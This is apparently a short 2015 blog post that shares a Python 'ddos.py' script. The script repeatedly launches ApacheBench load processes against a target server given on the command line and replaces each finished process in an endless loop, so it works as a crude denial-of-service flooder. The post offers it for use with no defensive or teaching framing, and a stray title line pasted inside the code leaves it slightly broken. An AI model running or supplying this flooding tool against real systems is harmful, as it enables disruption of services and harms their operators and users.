Friday, August 7, 2015

share code ddos .py

QUẢNG CÁO

#!/usr/bin/env python
import sys
share code ddos .py

if len(sys.argv) < 3:
    sys.exit("Usage: ddos.py [spawn_limit] [target]")

import subprocess
limit = int(sys.argv[1])
server = sys.argv[2]
spawnlist = []

def new_process():
    return subprocess.Popen("ab -c50 -t60 -r " + server, shell=True, stdout=subprocess.PIPE)

def check_spawned():
    for t_obj in spawnlist:
        proc,pid = t_obj
        if not proc.poll() == None:
            print("-> hit: " + pid)
            x = spawnlist.index(t_obj)
            del spawnlist[x]

def need_more_ammo():
    return len(spawnlist) < limit

while True:
    while need_more_ammo():
        proc = new_process()
        pid = str(proc.pid)
        spawnlist.append((proc,pid))
        print("-> firing: " + str(proc.pid))
    check_spawned()

Leave a comment: